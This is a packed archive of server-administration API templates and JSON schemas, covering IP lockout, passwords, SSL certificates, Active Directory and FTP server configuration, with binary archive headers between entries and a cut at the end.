36api\security\iplockout.jsonBz<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	if REQ.HTTPMETHOD == "PUT"
	
		usemacro CHECKREQPARAM.EXIST(REQ.DOSENABLED,"dos enabled","INFO.LOCKOUT.DOS")
		usemacro CHECKREQPARAM.EXIST(REQ.DOSCOUNT,"dos count","CONFIG.IPLOCKOUT.DOSCOUNT")
		usemacro CHECKREQPARAM.EXIST(REQ.DOSRESET,"dos reset","CONFIG.IPLOCKOUT.DOSRESET")
		usemacro CHECKREQPARAM.EXIST(REQ.DOSLOCKOUT,"dos lockout","CONFIG.IPLOCKOUT.LOCKOUT")
		usemacro CHECKREQPARAM.EXIST(REQ.LOGONENABLED,"logon enabled","INFO.LOCKOUT.LOGON")
		usemacro CHECKREQPARAM.EXIST(REQ.LOGONCOUNT,"logon count","CONFIG.IPLOCKOUT.COUNT")
		usemacro CHECKREQPARAM.EXIST(REQ.LOGONRESET,"logon reset","CONFIG.IPLOCKOUT.RESET")
		usemacro CHECKREQPARAM.EXIST(REQ.LOGONLOCKOUT,"logon lockout","CONFIG.IPLOCKOUT.LOCKOUT")
		set REQ.OP = "update"
		
	elseif REQ.HTTPMETHOD == "DELETE"
	
		usemacro CHECKREQPARAM.EXIST(REQ.IP,"ip address","INFO.LOCKOUT.IP")
		usemacro CHECKREQPARAM(REQ.TYPE,"-logon-,-dos-","lockout type","LOCKOUTTYPE")
		set REQ.OP = "del" REQ.TYPE
		
	endif
	
	action "lockout"
	usemacro ERRORHANDLER()

?>{"result": {

	"dos" : {
		"enabled": <?usemacro BOOL(DOSENABLED)?>,	
		"count": <?usemacro NUMBER(DOSCOUNT)?>,	
		"reset": <?usemacro FORMAT.SPN(DOSRESET)?>,	
		"lockout": <?usemacro FORMAT.SPN(DOSLOCKOUT)?>
	},	

	"logon" : {
		"enabled": <?usemacro BOOL(LOGONENABLED)?>,	
		"count": <?usemacro NUMBER(LOGONCOUNT)?>,	
		"reset": <?usemacro FORMAT.SPN(LOGONRESET)?>,	
		"lockout": <?usemacro FORMAT.SPN(LOGONLOCKOUT)?>
	},	
					
	"doss": [
	    <?if LOCKOUT.DOSS
	    	usemacro CommaInit()
			enum LOCKOUT.DOSS
				usemacro CommaDo()?>
				{					    
					"ip": "#LOCKOUT.DOS.IP#",
					"expiration": <?usemacro FORMAT.IN(LOCKOUT.DOS.EXPIRATION)?>
				}
			<?next
		endif?>		
	],
	
	"logons": [
	    <?if LOCKOUT.LOGONS
	    	usemacro CommaInit()
			enum LOCKOUT.LOGONS
				usemacro CommaDo()?>
				{					    
					"ip": "#LOCKOUT.LOGON.IP#",
					"expiration": <?usemacro FORMAT.IN(LOCKOUT.LOGON.EXPIRATION)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}

*:api\security\iplockout.schema{
	"result": {

		"dos" : {
			"enabled": { "_type": "bool" },
			"count": { "_type": "number" },
			"reset": { "_type": "string" },
			"lockout": { "_type": "string" }
		},	
		
		"logon" : {
			"enabled": { "_type": "bool" },
			"count": { "_type": "number" },
			"reset": { "_type": "string" },
			"lockout": { "_type": "string" }
		},	
		
		"doss" : {
			"_type": "array",
			"_element": {
				"ip": { "_type": "string" },
				"expiration": { "_type": "string" }
			}
		},
									
		"logons" : {
			"_type": "array",
			"_element": {
				"ip": { "_type": "string" },
				"expiration": { "_type": "string" }
			}
		}							
			
	},
	
	"lang": {}
}<NO4api\security\list_all.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// list the users&groups
	action "cfgperm" REQ.OP = "editlist"
	usemacro ERRORHANDLER()

?>{"result": {

	"entries": [
	    <?if USERS
	    	usemacro CommaInit()
			enum USERS
				usemacro CommaDo()?>
				{					    
					"sid": "#USER.SID#",
					"name": "#USER.NAME#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}
2,<api\security\list_domains.json2#><?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	
	// list the users&groups
	action "trusteddomainlist"
	usemacro ERRORHANDLER()

?>{"result": {

	"default_domain": "#DEFAULTDOMAIN#",
	
	"domains": [
	    <?if TRUSTEDDOMAINLIST
	    	usemacro CommaInit()
			enum TRUSTEDDOMAINLIST
				usemacro CommaDo()?>
				{					    
					"plain_name": "#TRUSTEDDOMAINLIST.PLAINNAME#",
					"decor_name": "#TRUSTEDDOMAINLIST.DECORNAME#"
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}
K4api\security\name2sid.jsonEq<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	usemacro CHECKREQPARAM.EXIST(REQ.ACCNAME,"account name","CONFIG.PERMISSIONS.USERNAME")
	set REQ.OP = "editnew"
	action "cfgperm"
	usemacro ERRORHANDLER()

?>{"result": {

	"error": "#ERR#",	
	"sid": "#SID#",	
	"name": "#ACCNAME#"
	
},
"lang":{}
}
RB
4api\security\password.jsonP<ڻ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	// change password
	if REQ.HTTPMETHOD == "PUT"
		// Parameters: oldpwd, newpwd
		action "pwdchg"
		usemacro ERRORHANDLER()
		
		// verify result
		if not PWD.CHANGED
			usemacro ERROR500("Password change failed.")
		endif
	endif
	
	// password info
	action "pwdinfo"
	usemacro ERRORHANDLER()

?>{"result": {

	"password": {
	    "username": "#USERNAME#",
	    "lastset": <?usemacro FORMAT.DTS(PWD.LASTSET)?>,
	    "lastset_ago": <?usemacro FORMAT.AGO(PWD.LASTSET)?>,
	    "lastlogon": <?usemacro FORMAT.DTS(PWD.LASTLOGON)?>,
	    "lastlogon_ago": <?usemacro FORMAT.AGO(PWD.LASTLOGON)?>,
	    "lastlogoff": <?usemacro FORMAT.DTS(PWD.LASTLOGOFF)?>,
	    "lastlogoff_ago": <?usemacro FORMAT.AGO(PWD.LASTLOGOFF)?>,
	    "expired": <?usemacro BOOL(PWD.EXPIRED)?>,
	    "expires": "#PWD.EXPIRES#",
	    "expiresindays": <?usemacro NUMBER(PWD.EXPIRESINDAYS)?>,
	    "expiresoon": <?usemacro BOOL(PWD.EXPIRESSOON)?>,
	    "badcount": <?usemacro NUMBER(PWD.BADCOUNT)?>,
	    "locked": <?usemacro BOOL(PWD.LOCKED)?>,
	    "minlen": <?usemacro NUMBER(PWD.MINLEN)?>,
	    "minage": <?usemacro NUMBER(PWD.MINAGE)?>,
	    "maxage": <?usemacro NUMBER(PWD.MAXAGE)?>
	}
},
"lang":{}
}#.8api\security\password.schemaO{"result": {

	"password": {
	    "lastset": { "_type": "string" },
	    "lastset_ago": { "_type": "string" },
	    "lastlogon": { "_type": "string" },
	    "lastlogon_ago": { "_type": "string" },
	    "lastlogoff": { "_type": "string" },
	    "lastlogoff_ago": { "_type": "string" },
	    "expired": { "_type": "bool" },
	    "expires": { "_type": "string" },
	    "expiresindays": { "_type": "number" },
	    "expiresoon": { "_type": "bool" },
	    "badcount": { "_type": "number" },
	    "locked": { "_type": "bool" },
	    "minlen": { "_type": "number" },
	    "minage": { "_type": "number" },
	    "maxage": { "_type": "number" }
	}
},
"lang":{}
}:
4api\security\profiles.jsonv<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	if not REQ.HTTPMETHOD == "GET"	
		usemacro CHECKREQPARAM.EXIST(REQ.PROFILE,"profile name","CONFIG.IPFILTER.PROFILES")
	endif 
	
	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "profile_use"
	elseif REQ.HTTPMETHOD == "POST"
		set REQ.OP = "profile_create"
	elseif REQ.HTTPMETHOD == "DELETE"
		set REQ.OP = "profile_delete"
	endif
	
	action "cfgfilter"
	usemacro ERRORHANDLER()

?>{"result": {

	"profiles": [
	    <?if PROFILES
	    	usemacro CommaInit()
			enum PROFILES
				usemacro CommaDo()?>
				{					    
					"name": "#PROFILE.NAME#",
					"refc": <?usemacro NUMBER(PROFILE.REFC)?>
				}
			<?next
		endif?>		
	]			
},
"lang":{}
}
}48api\security\profiles.schema˝{
	"result": {

		"profiles" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"refc": { "_type": "number" }
			}
		}							
			
	},
	"lang": {}
}
{eh0api\security\ralogs.jsondļ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	if CFG.Log.Directory
		set REQ.DIR = CFG.Log.Directory
	else
		set REQ.DIR = SRVDIR
	endif
	
	action "filefind" REQ.LIST="f" REQ.FIND="*.log" REQ.SORT="md"
	usemacro ERRORHANDLER()

?>{"result": {

	"log_dir": "#DIR.PATH#",	
	"all_link": "/download/?dir=%DIR.PATH%<?enum FILES?>&file=%FILE.NAME%<?next?>&pack=zip",
					
	"logs": [
	    <?if FILES
	    	usemacro CommaInit()
			enum FILES
				usemacro CommaDo()?>
				{					    
					"path": "#FILE.PATH#",
					"name": "#FILE.NAME#",
					"size": <?usemacro NUMBER(FILE.SIZE)?>,
					"size_formatted": <?usemacro FORMAT.SZK(FILE.SIZE)?>,
					"mod_date": <?usemacro FORMAT.DTMS(FILE.TIMEM)?>,
					"download_link": "/download/?dir=%DIR.PATH%&file=%FILE.NAME%&pack=zip"
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
4api\security\ralogs.schema9{
	"result": {

		"log_dir": { "_type": "string" },
		"all_link": { "_type": "string" },
		
		"logs" : {
			"_type": "array",
			"_element": {
				"path": { "_type": "string" },
				"name": { "_type": "string" },
				"size": { "_type": "number" },
				"size_formatted": { "_type": "string" },
				"mod_date": { "_type": "string" },
				"download_link": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
p0api\security\recent.json:`<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	// list the recent whatever
	action "recent"	
	usemacro ERRORHANDLER()

?>{"result": {

	"recent": [
	    <?if RECENT
	    	usemacro CommaInit()
			enum RECENT
				usemacro CommaDo()?>
				{					    
					"address": "#RECENT.ADDR#",
					"host": "#RECENT.HOST#",
					"user": "#RECENT.USER#",
					"login": <?usemacro FORMAT.DTMS(RECENT.LOGIN)?>,
					"login_for": <?usemacro FORMAT.FOR(RECENT.LOGIN)?>,
					"logout": <?usemacro FORMAT.DTMS(RECENT.LOGOUT)?>,
					"duration": "#RECENT.DURATION#",
					"online": <?usemacro BOOL(RECENT.ONLINE)?>,
					"idle": <?usemacro FORMAT.SPN(RECENT.IDLE)?>
				}
			<?next
		endif?>		
	]		
},
"lang":{}
}'&C4api\security\recent.schema{
	"result": {

		"recent": {
			"_type": "array",
			"_element": {
				"address": { "_type": "string" },
				"host": { "_type": "string" },
				"user": { "_type": "string" },
				"login": { "_type": "string" },
				"logout": { "_type": "string" },
				"duration": { "_type": "string" },
				"online": { "_type": "bool" },
				"idle": { "_type": "string" }
			}
		}
			
	},
	"lang": {}
}
f=*api\security\ssl.json\ֽ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "POST"
	
		// Create, Params: REQ.CA (or new), REQ.CSVC, REQ.ALTHOST1-5, ...?
		if not REQ.CA
			set REQ.CA = "new"
		endif
		
		action "sslcreate" REQ.CERT="new"
		usemacro ERRORHANDLER()
		
	elseif REQ.HTTPMETHOD == "PUT"
	
		// Set, Params: REQ.CERT, ...?
		usemacro CHECKREQPARAM.EXIST(REQ.CERT,"cert","CERT")
		
		action "sslset"
		usemacro ERRORHANDLER()
		
	endif
	
	action "sslsvcs"	
	usemacro ERRORHANDLER()
	
?>{"result": {

	"defaults" : {
		"csvc": <?usemacro BOOL(DEFCSVC)?>,
		"computer": "#DEFCOMPUTER#",
		"country": "#DEFCOUNTRY#",
		"company": "#DEFCOMPANY#",
		"althost1": "#ALTHOST1#",
		"althost2": "#ALTHOST2#",
		"althost3": "#ALTHOST3#",
		"althost4": "#ALTHOST4#",
		"althost5": "#ALTHOST5#"
	},
	
	"current" : {
		"id": "#CURRENT.ID#",
		"name": "#CURRENT.NAME#",
		"issuer": "#CURRENT.ISSUER#",
		"usage": "#CURRENT.USAGE#"	    
	},					
					
	"csvcs": [
	    <?if CSVCS
	    	usemacro CommaInit()
			enum CSVCS
				usemacro CommaDo()?>
				{					    
					"server": "#CSVC.SERVER#",
					"service": "#CSVC.SERVICE#",
					"config": "#CSVC.CONFIG#"
				}
			<?next
		endif?>		
	],

	<?	
	action "sslcerts" REQ.TYPE = "sc"
	usemacro ERRORHANDLER()
	?>
	"certs": [
	    <?if CERTS
	    	usemacro CommaInit()
			enum CERTS
				usemacro CommaDo()?>
				{					    
					"name": "#CERT.NAME#",
					"issuer": "#CERT.ISSUER#",
					"usage": "#CERT.USAGE#",
					"id": "#CERT.ID#",
					"avail": <?usemacro BOOL(CERT.AVAIL)?>
				}
			<?next
		endif?>		
	],

	<?	
	action "sslcerts" REQ.TYPE = "ca"
	usemacro ERRORHANDLER()
	?>
	"cas": [
	    <?if CERTS
	    	usemacro CommaInit()
			enum CERTS
				usemacro CommaDo()?>
				{					    
					"name": "#CERT.NAME#",
					"issuer": "#CERT.ISSUER#",
					"usage": "#CERT.USAGE#",
					"id": "#CERT.ID#",
					"avail": <?usemacro BOOL(CERT.AVAIL)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
zf.api\security\ssl.schemaW{
	"result": {

		"defaults" : {
			"csvc": { "_type": "bool" },
			"computer": { "_type": "string" },
			"country": { "_type": "string" },
			"company": { "_type": "string" }
		},		
		"current" : {
			"id": { "_type": "string" },
			"name": { "_type": "string" },
			"issuer": { "_type": "string" },
			"usage": { "_type": "string" }
		},							
		"csvcs": {
			"_type": "array",
			"_element": {
				"server": { "_type": "string" },
				"service": { "_type": "string" },
				"config": { "_type": "string" }
			}
		},
		"certs": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"issuer": { "_type": "string" },
				"usage": { "_type": "string" },
				"id": { "_type": "string" },
				"avail": { "_type": "bool" }
			}
		},
		"cas": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"issuer": { "_type": "string" },
				"usage": { "_type": "string" },
				"id": { "_type": "string" },
				"avail": { "_type": "bool" }
			}
		}
			
	},
	"lang": {}
}
y셉$api\server\ad.jsoner<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if not REQ.PATH
		set REQ.PATH = "ADs:"
	endif 
		
	if REQ.HTTPMETHOD == "PUT" or REQ.HTTPMETHOD == "POST"
		usemacro CHECKREQPARAM.EXIST(REQ.NAME,"property name", "common_category.NAME")
		usemacro CHECKREQPARAM.EXIST(REQ.VALUE,"property value", "common_category.VALUE")
		action "adspropset"
		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.NAME,"property name", "common_category.NAME")
		action "adspropdel"
		usemacro ERRORHANDLER()
	endif
	
	action "adsinfo"
	usemacro ERRORHANDLER()

?>{"result": {

	"object": {
		"name": "#OBJECT.NAME#",
		"class": "#OBJECT.CLASS#",
		"path": "#OBJECT.PATH#",
		"guid": "#OBJECT.GUID#",
		"parent": "#OBJECT.PARENT#"
	},
	
	"children": [
	    <?if CHILDREN
	    	usemacro CommaInit()
			enum CHILDREN
				usemacro CommaDo()?>
				{
					"name": "#CHILD.NAME#",
					"class": "#CHILD.CLASS#",
					"path": "#CHILD.PATH#",
					"guid": "#CHILD.GUID#"
				}
			<?next
		endif?>		
	],
	
	"props": [
	    <?if PROPS
	    	usemacro CommaInit()
			enum PROPS
				usemacro CommaDo()?>
				{
					"name": "#PROP.NAME#",
					"need": "#PROP.NEED#",
					"type": "#PROP.TYPE#",
					"value": "#PROP.VALUE#",
					"error": "#PROP.ERROR#"
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
EG(api\server\ad.schemax{
	"result": {
	    	
		"object": { 
			"name": { "_type": "string" },
			"class": { "_type": "string" },
			"path": { "_type": "string" },
			"guid": { "_type": "string" },
			"parent": { "_type": "string" }
		},
		
		"children" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"class": { "_type": "string" },
				"path": { "_type": "string" },
				"guid": { "_type": "string" }
			}
		},
									
		"props" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"need": { "_type": "string" },
				"type": { "_type": "string" },
				"value": { "_type": "string" },
				"error": { "_type": "string" }
			}
		}
			
	},
	"lang": {}
}
"Bapi\server\ftp_config_groups.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.FTPGID, "group id", "GROUPID")
		
		action "ftpgroupdel"
		usemacro ERRORHANDLER()		
	endif
	
	action "ftpgrouplist"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",

	"groups": [
	    <?if FTPGROUPS
	    	usemacro CommaInit()
			enum FTPGROUPS
				usemacro CommaDo()?>
				{					    
					"name": "#FTPGROUP.NAME#",
					"ftpgid": <?usemacro NUMBER(FTPGROUP.ID)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
lFapi\server\ftp_config_groups.schema{
	"result": {

		"ftp_message": { "_type": "string" },
		"ftp_error": { "_type": "string" },
		
		"groups" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"ftpgid": { "_type": "number" }
			}
		}							
			
	},
	"lang": {}
}
V[Lapi\server\ftp_config_group_basic.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPGID,"group id", "GROUPID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpgroup"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftpgid":<?if FTPGID?>#FTPGID#<?else?>0<?endif?>,
	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpgname": "#FTPGNAME#",
	
	"groupwelcome": "#GROUPWELCOME#",
	
	"member": [
	    <?if GROUPGROUPS
	    	usemacro CommaInit()
			enum GROUPGROUPS
				usemacro CommaDo()?>
				{					    
					"value": <?usemacro NUMBER(GROUPGROUP.ID)?>,
					"name": "#GROUPGROUP.NAME#"
				}
			<?next
		endif?>		
	],

	"nonmember": [
	    <?if FTPGROUPS
	    	usemacro CommaInit()
			enum FTPGROUPS
				usemacro CommaDo()?>
				{					    
					"value": <?usemacro NUMBER(FTPGROUP.ID)?>,
					"name": "#FTPGROUP.NAME#"
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
wiKPapi\server\ftp_config_group_basic.schema{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpgname": { "_type": "string" },

	"groupwelcome": { "_type": "string" },
	
	"member" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "number" }
		}
	},							

	"nonmember" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "number" }
		}
	}							
	
},
"lang":{}
}^Xapi\server\ftp_config_group_permissions.jsonѿ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPGID,"group id", "GROUPID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
		
		if REQ.PERM has "L"
			set REQ.MASK1 = "1"
		endif
		if REQ.PERM has "R"
			set REQ.MASK2 = "1"
		endif
		if REQ.PERM has "C"
			set REQ.MASK4 = "1"
		endif
		if REQ.PERM has "D"
			set REQ.MASK8 = "1"
		endif
		if REQ.PERM has "W"
			set REQ.MASK16 = "1"
		endif		
		if REQ.PERM has "*"
			set REQ.MASKFULL = "-1"
		endif
		
	endif
	
	action "ftpgroupacc"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",
	"ftpgname": "#FTPGNAME#",
	
	"permissions": [
	    <?if PERMISSIONS
	    	usemacro CommaInit()
			enum PERMISSIONS
				usemacro CommaDo()?>
				{					    
					"path": "#PERMISSION.PATH#",
					"flags": "#PERMISSION.FLAGS#",
					"sname": "#PERMISSION.SNAME#",
					"relative": "#PERMISSION.RELATIVE#",
					"option": "#PERMISSION.OPTION#"
				}
			<?next
		endif?>		
	],
	
	"servers": [
	    <?if SERVERS
	    	usemacro CommaInit()
			enum SERVERS
				usemacro CommaDo()?>
				{					    
					"name": "#SERVER.NAME#",
					"value": <?usemacro NUMBER(SERVER.ID)?>
				}
			<?next
		endif?>		
	]
	
},
"lang":{}
}
r\api\server\ftp_config_group_permissions.schema%2G{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },
	"ftpgname": { "_type": "string" },

	"permissions" : {
		"_type": "array",
		"_element": {
			"path": { "_type": "string" },
			"flags": { "_type": "string" },
			"sname": { "_type": "string" },
			"relative": { "_type": "string" },
			"option": { "_type": "string" }
		}
	},							
	
	"servers" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"id": { "_type": "number" }
		}
	}							
	
},
"lang":{}
}LfDapi\server\ftp_config_servers.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.FTPSID, "server id", "SERVERID")
		
		action "ftpserverdel"
		usemacro ERRORHANDLER()
		
	elseif REQ.HTTPMETHOD == "PUT"
		usemacro CHECKREQPARAM.EXIST(REQ.FTPSID, "server id", "SERVERID")
		
		action "ftpservertoggle"
		usemacro ERRORHANDLER()
	endif
	
	action "ftpserverlist"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",

	"servers": [
	    <?if FTPSERVERS
	    	usemacro CommaInit()
			enum FTPSERVERS
				usemacro CommaDo()?>
				{					    
					"name": "#FTPSERVER.NAME#",
					"ftpsid": <?usemacro NUMBER(FTPSERVER.ID)?>,
					"up": <?usemacro BOOL(FTPSERVER.UP)?>
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
aM:Hapi\server\ftp_config_servers.schema5{
	"result": {

		"ftp_message": { "_type": "string" },
		"ftp_error": { "_type": "string" },
		
		"servers" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"ftpsid": { "_type": "number" },
				"up": { "_type": "bool" }
			}
		}							
			
	},
	"lang": {}
}
acDNapi\server\ftp_config_server_basic.json
<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	// use 0 for new server
	usemacro CHECKREQPARAM.EXIST(REQ.FTPSID,"server id", "SERVERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpserver"
	usemacro ERRORHANDLER()

?>{"result": {
	 "ipaddrs":[
	    <?if LISTENIPS
	    	usemacro CommaInit()
			enum LISTENIPS
				usemacro CommaDo()?>
				{					    
					"name": "#LISTENIPS.DISPLAY#",
					"value": "#LISTENIPS.VALUE#"
				}
			<?next
		endif?>		
	 ],
	 "ipfilters":[
	    <?if IPFILTERS
	    	usemacro CommaInit()
			enum IPFILTERS
				usemacro CommaDo()
				
				if IPFILTER.SELECTED
					set IPFILTER = IPFILTER.NAME
				endif
				
				?>
				{					    
					"name": "#IPFILTER.NAME#",
					"value": "#IPFILTER.NAME#"
				}
			<?next
		endif?>		
	 ],	
	"basic":{
		"ftpsid":<?if FTPSID?>#FTPSID#<?else?>0<?endif?>,

		"ftp_message": "#FTPMSG#",
		"ftp_error": "#FTPERROR#",

		"ftpsname": "#FTPSNAME#",	
		"ipaddr": "#IPADDR#",	
		"port": <?usemacro NUMBER(PORT)?>,
		"passrangelow": <?usemacro NUMBER(PASSRANGELOW)?>,
		"passrangehigh": <?usemacro NUMBER(PASSRANGEHIGH)?>,
		"passforce": "#PASSFORCE#",	
		"passforcewhat": "#PASSFORCEWHAT#",	
		"passforcewhatsubnet": "#PASSFORCEWHATSUBNET#",	
		"ipfilter": "#IPFILTER#",	
		"implicitssl": <?usemacro BOOL(IMPLICITSSL)?>,
		"up": <?usemacro BOOL(UP)?>,
		"root": "#ROOT#",	
		"resolvelinks": <?usemacro BOOL(RESOLVELINKS)?>,
		"bldown": <?usemacro NUMBER(BLDOWN)?>,
		"blup": <?usemacro NUMBER(BLUP)?>
	}
},
"lang":{}
}
Rapi\server\ftp_config_server_basic.schema
{"result": {
	"ipaddrs" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "string" }
		}
	},							
	"ipfilters" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"value": { "_type": "string" }
		}
	},
	"basic": {
		"ftpsid": { "_type": "number" },
	
		"ftp_message": { "_type": "string" },
		"ftp_error": { "_type": "string" },
	
		"ftpsname": { "_type": "string" },
		"ipaddr": { "_type": "string" },
		"port": { "_type": "number" },
		"passrangelow": { "_type": "number" },
		"passrangehigh": { "_type": "number" },
		"passforce": { "_type": "string" },
		"passforcewhat": { "_type": "string" },
		"passforcewhatsubnet": { "_type": "string" },
		"ipfilter": { "_type": "string" },
		"implicitssl": { "_type": "bool" },
		"up": { "_type": "bool" },
		"root": { "_type": "string" },
		"resolvelinks": { "_type": "bool" },
		"bldown": { "_type": "number" },
		"blup": { "_type": "number" }
	}
},
"lang":{}
}]SPapi\server\ftp_config_server_ntuser.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPSID,"server id", "SERVERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpservernt"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",

	"ftpsname": "#FTPSNAME#",
	
	"ntusers": [
	    <?if NTUSERS
	    	usemacro CommaInit()
			enum NTUSERS
				usemacro CommaDo()?>
				{					    
					"value": "#NTUSER.SID#",
					"name": "#NTUSER.NAME#"
				}
			<?next
		endif?>		
	],

	"otherusers": [
	    <?if USERS
	    	usemacro CommaInit()
			enum USERS
				usemacro CommaDo()?>
				{					    
					"value": "#USER.SID#",
					"name": "#USER.NAME#"
				}
			<?next
		endif?>		
	],

	"ftpntuser": "#FTPNTUSER#",	
	"ftpntdomain": "#FTPNTDOMAIN#",	
	"ntdomain": "#NTDOMAIN#",
	"userlistdomain": "#USERLISTDOMAIN#"
			
},
"lang":{}
}
KTapi\server\ftp_config_server_ntuser.schemas{
	"result": {

		"ftp_message": { "_type": "string" },
		"ftp_error": { "_type": "string" },
		"ftpsname": { "_type": "string" },
		
		"ntusers" : {
			"_type": "array",
			"_element": {
				"sid": { "_type": "string" },
				"name": { "_type": "string" }
			}
		},							
		"otherusers" : {
			"_type": "array",
			"_element": {
				"sid": { "_type": "string" },
				"name": { "_type": "string" }
			}
		},							

		"ftpntuser": { "_type": "string" },
		"ftpntdomain": { "_type": "string" },
		"ntdomain": { "_type": "string" },	
		"userlistdomain": { "_type": "string" }	
			
	},
	"lang": {}
}
HLapi\server\ftp_config_server_odbc.json;<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	usemacro CHECKREQPARAM.EXIST(REQ.FTPSID,"server id", "SERVERID")

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "ftpserverodbc"
	usemacro ERRORHANDLER()

?>{"result": {

	"ftp_message": "#FTPMSG#",
	"ftp_error": "#FTPERROR#",

	"ftpsname": "#FTPSNAME#",	
	"useodbc": <?usemacro BOOL(USEODBC)?>,
	"odbcds": "#ODBCDS#",	
	"odbclogin": "#ODBCLOGIN#",	
	"odbcpwd": "#ODBCPWD#",	
	"odbctimeo": <?usemacro FORMAT.SPN(ODBCTIMEO)?>,
	"odbctable": "#ODBCTABLE#",	
	"odbcname": "#ODBCNAME#",	
	"odbcuserpwd": "#ODBCUSERPWD#",	
	"odbcuserhome": "#ODBCUSERHOME#",	
	"odbcquota": "#ODBCQUOTA#",	
	"odbcdownload": "#ODBCDOWNLOAD#",	
	"odbcupload": "#ODBCUPLOAD#",	
	"odbcdisable": "#ODBCDISABLE#",	
	"odbcmaxconn": "#ODBCMAXCONN#",	
	"odbcmaxconnip": "#ODBCMAXCONNIP#",	
	"odbcwelcome": "#ODBCWELCOME#"	
			
},
"lang":{}
}
kxPapi\server\ftp_config_server_odbc.schemai{"result": {

	"ftp_message": { "_type": "string" },
	"ftp_error": { "_type": "string" },

	"ftpsname": { "_type": "string" },
	"useodbc": { "_type": "bool" },
